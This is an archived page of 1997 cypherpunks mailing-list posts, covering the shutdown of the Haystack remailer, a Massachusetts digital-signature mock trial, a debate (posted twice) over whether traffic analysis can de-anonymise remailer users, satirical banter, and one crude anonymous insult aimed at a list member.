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[IMPORTANT] Cyclic codes
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Tim C. Mayo studied yoga back-streching exercises for five years so he could blow himself (nobody else will). )))) )) OO Tim C. Mayo 6 (_) `____c

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[PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
by Alec 17 Dec '03

17 Dec '03

>Date: Sun, 23 Mar 1997 15:09:25 -0500 (EST) >From: "Fred B. Ringel" <fredr(a)joshua.rivertown.net> >Reply-To: fredr(a)joshua.rivertown.net >To: pgp-users list <pgp-users(a)rivertown.net> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE *** > >Hi all- > > Here's another one from this week (in addition to jpunix). They are >dropping like flies, unfortunately. > > Boy, this really, really stinks. > > Fred >========================================================================== > > *** IMPORTANT NEWS REGARDING HAYSTACK(a)HOLY.COW.NET *** > > The Bovine Remailer, also known as haystack(a)holy.cow.net, is > hereby CLOSED. Mail sent to that address will bounce; I don't > know on a technical basis what putting it in the middle of a > remailer chain will do. There are no other remailers or anon > services associated with cow.net. > > It has been a fun year, but the simple fact is that running > a remailer is a thankless, embittering, nasty job. For every > success story of alternate or persecuted viewpoints seeing > the light of day, there are another four or five cases of > legal threats, use of the remailer to spam people who have > already turned off access to their accounts from other sources, > and the extremely disturbing trend of posting newsgroups > with falsified From: Headers, intending to cause endless spam > bots to mail the forged address. No one carefully put in a > forged address to endanger or misrepresent another person, > but it was only a matter of time. > > Haystack was running on a Sun 3/280 at the cow.net loft. At > the peak, this machine was recieving over one thousand > e-mails a day, doing PGP calculations, and sending them out, > and the 30mhz processor wasn't up to the task. The final > straw was the use of the remailer to send out several > hundred "MAKE MONEY FAST"-style messages to a group of > folks who then rebelled or retaliated to the remailer itself; > everyone associated in this sucks. > > If you think this is a shame, then put up your own remailer; > no doubt you'll have a thicker skin that the admins of > haystack, and will somehow flourish under the increasingly > fascist and overbearing environment of the Internet, but > the games up here, for now. > > Yes, for now. We might return some time in the future, > should technical and financial issues be solved, but it seems > rather unlikely at this juncture. > > Once again, if you enjoyed using haystack, you might consider > fighting the good fight and putting up your own. A good, > solid increase in remailers might save the culture. It is > nearly a crime that so much perfectly powerful computer > hardware exists out there, hooked to the net, and a mere > dozen computers, in our case quite aged, were/are doing the > remailing work. > > So, well, like we said, it's been a blast. See you later. > Moo. > > - The Haystack Administration. > >/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ >Fred B. Ringel -- Rivertown.Net Internet Access >Systems Administrator -- http://www.rivertown.net >and General Fixer Upper -- Voice/Fax/Support: +1.914.478.2885 > Although in theory, there's no difference between > theory and practice, in practice, there is. > >

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Digital Signature Mock Trial
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text X-PGP-Key: <http://www.shore.net/~sable/info/rltkey.htm> X-Sender: rodney(a)pop3.pn.com Date: Sun, 23 Mar 1997 17:13:25 -0500 To: dcsb(a)ai.mit.edu From: Rodney Thayer <rodney(a)sabletech.com> Subject: Digital Signature Mock Trial Mime-Version: 1.0 Sender: bounce-dcsb(a)ai.mit.edu Precedence: bulk Reply-To: Rodney Thayer <rodney(a)sabletech.com> >Date: Fri, 21 Mar 1997 18:37:16 -0500 >From: Dan Greenwood <dan(a)civics.com> > >Digital Signature Mock Trial >http://www.magnet.state.ma.us/itd/legal/mock1.htm > >The Commonwealth of Massachusetts Information Technology Division Legal >Department will sponsor a mock trial based on a dispute over a digitally >signed communication. This will be an online event, probably web-based. >There will also be a half-day "court room" mock trial to be held in >Boston in the spring. Anyone interested in helping to plan, or >participate in one or both of these mock trials should contact Dan >Greenwood at dgreenwood(a)state.ma.us. > >The purpose of this exercise will be to explore legal ramifications of >deploying digital signature technology as a business tool, including: >what grounds for a claim (consumer law, financial and banking law, >common law, other?); what issues arise relative to preserving certain >evidence for trial; the legal relationship between an "owner" >(subscriber) of a digital signature, a relying party and a certification >authority; what other evidentiary admissibility issues arise, how might >certain contract terms be interpreted (i.e.: what arguments might be >raised related to liability limitations, rights and duties under >contract); etc. The case >will be tried in a fictional jurisdiction and to fictional parties. > >The specific factual pattern (i.e.: who are the parties and what >happened to them) will be developed so as to highlight areas of legal >uncertainty and maximize the instructional value of this exercise. It is >expected that this exercise will assist the >Commonwealth of Massachusetts and other interested parties to more >efficiently manage liability and to better anticipate legal issues as we >look to deploy public key based network solutions. -------- Rodney Thayer <rodney(a)sabletech.com> PGP: BB1B6428 409129AC 076B9DE1 4C250DD8 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo(a)ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB(a)ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/

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Re: "Dr. Roberts" and his advice to the list
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Timothy C. May wrote: > At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote: > >The remailer network itself may be treated as a black box. This means > >that if you suspect certain people are posting messages to a certain > >list you need only watch the timing of the suspect's posts to verify > >guesses. This makes an attack on the remailer network quite > >inexpensive because you need to monitor a relatively small number of > >people in your jurisdiction. > If a mix accumulates, say, 100 messages, and posts one of them to some > destination, no amount of "timing" analysis points to which of the 100 > incoming messages was the source...this is the essence of mixes/remailers. > (Modulo the usual assumptions about message size, encryption, etc.) I wouldn't be so certain about this. Consider the fact that the remailers can be initially studied through relatively _pure_ analysis, for starters. i.e. - a series of slow periods of remailer use where and entity can ensure that almost all of those 100 messages belong to them. Thus the remailer can be studied for non-random patterns that may be unknown even to the operator himself. Then consider the fact that many of the people using remailers have habits and patterns that can easily be studied and followed. i.e. - Time periods online, standard delay time used in posting commands, frequency and volume of their posts. You must also consider context and syntax analysis that point to the true author of anonymous posts, and the fact that, once known, their personal systems can be monitored to reveal the exact time and nature of their input into the remailers. Even knowledge of killfiles can eliminate some of the overhead for traffic analysis, eliminating some sources as being responsible for volume of anonymous email directed at certain subjects or authors. Many of the factors involved in traffic analysis can be obtained outside of the realm of actual input and output of the remailers themselves, thus narrowing the range of _unknown_ factors in that analysis. Certainly there has been much thought and consideration given to the remailer system, by people who allow for various methods of attack on and/or analysis of their system. However, the assumption of 100 _random_ messages can drop pretty fast when one takes into account the number of factors that may turn some of these messages into quantifiable and easily analyzed entities. Add to this the possibility of factors that are known to the attackers, but not to the defenders, and the margin of security drops even further. Care must be taken to realize that even if one is making efforts to conceal their email traffic, that the results of their efforts are also affected by the person who always posts between 4 and 6 pm, who always posts via the same remailer and who always uses a 2 hour delay command in his posts. One needs to remember, as well, that with the capabilities of autobots and switching mechanisms, that to flood a system or systems at certain critical times is an insignificant obstacle to inputing a large quantity of _know_ data into the frame of analysis. > > Would anybody like to post some references? What > >is required to have a rock solid remailer network? > > > >Dr. Roberts > > Why not do the research into these references yourself and then post them? This is an asinine statement. If you are interested in furthering the interests of privacy through encryption and remailers, why don't you aide someone asking for pointers to better information? Is this list reserved for those who already know it all? Can you say "statist?" Sure, you can. > As for what it would take to make a rock solid remailer network, go back > and read some of the many hundreds of articles many of us have written on > this subject, read Chaum's original 1981 CACM short article, and carefully > study DC-Nets. If all information was in those articles, then I suspect that the remailers would already be "rock solid." Rather than living in the past, as if all possibilities had already been discussed and decided, it might better serve some list members to take their hard-earned knowledge and apply it to today's situation, with new technologies, methodologies, routings, etc. Not only have these things changed, but the types and number of people who use them have also changed, thus changing the scope of possible approaches to traffic analysis. TruthMonger S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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Re: A cypherpunk push-poll ? (Was Re: Dorothy and the four Horseman)
by Bill Stewart 17 Dec '03

17 Dec '03

At 10:32 AM 3/23/97 -0500, Robert Hettinga wrote: >For instance, here's an example of a question that Dorothy and Winn >*should* have asked: > >"In your extensive use of the internet in your professional capacity as the >CIO of a Fortune 50 corporation, have you encountered the use of >cryptography in acts of genocide? > >Ecologic holocaust? > >Thermonuclear terrorism? > >The use of asteroid impact to destroy all life on earth as we know it?" Well, in my extensive use of computers back when I was a tool of the military-industrial complex, I did encounter the use of computer security techniques in planning for thermonuclear terrorism; it's difficult to find a better term for pointing tens of thousands of warheads at your enemies, while they have tens of thousands of them pointed at you, and both of you are plotting about what you think the other guys will do so you can do it to them first, or so you can do something else to them to block it. Ecological holocaust? Nuclear winter was disbelieved, though I did know a meteorologist whose doctoral thesis advisor was working on germ warfare dispersal modelling, and The Customer didn't think in terms of genocide, just "nuking them till they glow" and "making the rubble bounce" and "pre-emptive strikes". Me? I just kept the computers running while the physicists tried to model what this sort of behaviour would do to the Phone Company, and how to let the military get useful phone services pre-, trans-, and post-attack, though once in a while I'd help them with some data structures.. On the other hand, while we did have occasional lectures on astronomy from our Research folks, we were pretty well-behaved with asteroids. But today we know that Eurasia and Oceania have always been friends, and haven't figured out yet that Oceania and Eastasia have always been enemies, so the only nuclear terrorists we have to worry about are the ones who'll do sneaky things like hiding their bombs in bales of cocaine so nobody'll notice when they drive them across the border and up to the White House loading dock, and the Constitution explicitly doesn't say that it's illegal to wiretap foreigners, so we're pretty safe for now. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

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Re: "Dr. Roberts" and his advice to the list
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Timothy C. May wrote: > At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote: > >The remailer network itself may be treated as a black box. This means > >that if you suspect certain people are posting messages to a certain > >list you need only watch the timing of the suspect's posts to verify > >guesses. This makes an attack on the remailer network quite > >inexpensive because you need to monitor a relatively small number of > >people in your jurisdiction. > If a mix accumulates, say, 100 messages, and posts one of them to some > destination, no amount of "timing" analysis points to which of the 100 > incoming messages was the source...this is the essence of mixes/remailers. > (Modulo the usual assumptions about message size, encryption, etc.) I wouldn't be so certain about this. Consider the fact that the remailers can be initially studied through relatively _pure_ analysis, for starters. i.e. - a series of slow periods of remailer use where and entity can ensure that almost all of those 100 messages belong to them. Thus the remailer can be studied for non-random patterns that may be unknown even to the operator himself. Then consider the fact that many of the people using remailers have habits and patterns that can easily be studied and followed. i.e. - Time periods online, standard delay time used in posting commands, frequency and volume of their posts. You must also consider context and syntax analysis that point to the true author of anonymous posts, and the fact that, once known, their personal systems can be monitored to reveal the exact time and nature of their input into the remailers. Even knowledge of killfiles can eliminate some of the overhead for traffic analysis, eliminating some sources as being responsible for volume of anonymous email directed at certain subjects or authors. Many of the factors involved in traffic analysis can be obtained outside of the realm of actual input and output of the remailers themselves, thus narrowing the range of _unknown_ factors in that analysis. Certainly there has been much thought and consideration given to the remailer system, by people who allow for various methods of attack on and/or analysis of their system. However, the assumption of 100 _random_ messages can drop pretty fast when one takes into account the number of factors that may turn some of these messages into quantifiable and easily analyzed entities. Add to this the possibility of factors that are known to the attackers, but not to the defenders, and the margin of security drops even further. Care must be taken to realize that even if one is making efforts to conceal their email traffic, that the results of their efforts are also affected by the person who always posts between 4 and 6 pm, who always posts via the same remailer and who always uses a 2 hour delay command in his posts. One needs to remember, as well, that with the capabilities of autobots and switching mechanisms, that to flood a system or systems at certain critical times is an insignificant obstacle to inputing a large quantity of _know_ data into the frame of analysis. > > Would anybody like to post some references? What > >is required to have a rock solid remailer network? > > > >Dr. Roberts > > Why not do the research into these references yourself and then post them? This is an asinine statement. If you are interested in furthering the interests of privacy through encryption and remailers, why don't you aide someone asking for pointers to better information? Is this list reserved for those who already know it all? Can you say "statist?" Sure, you can. > As for what it would take to make a rock solid remailer network, go back > and read some of the many hundreds of articles many of us have written on > this subject, read Chaum's original 1981 CACM short article, and carefully > study DC-Nets. If all information was in those articles, then I suspect that the remailers would already be "rock solid." Rather than living in the past, as if all possibilities had already been discussed and decided, it might better serve some list members to take their hard-earned knowledge and apply it to today's situation, with new technologies, methodologies, routings, etc. Not only have these things changed, but the types and number of people who use them have also changed, thus changing the scope of possible approaches to traffic analysis. TruthMonger S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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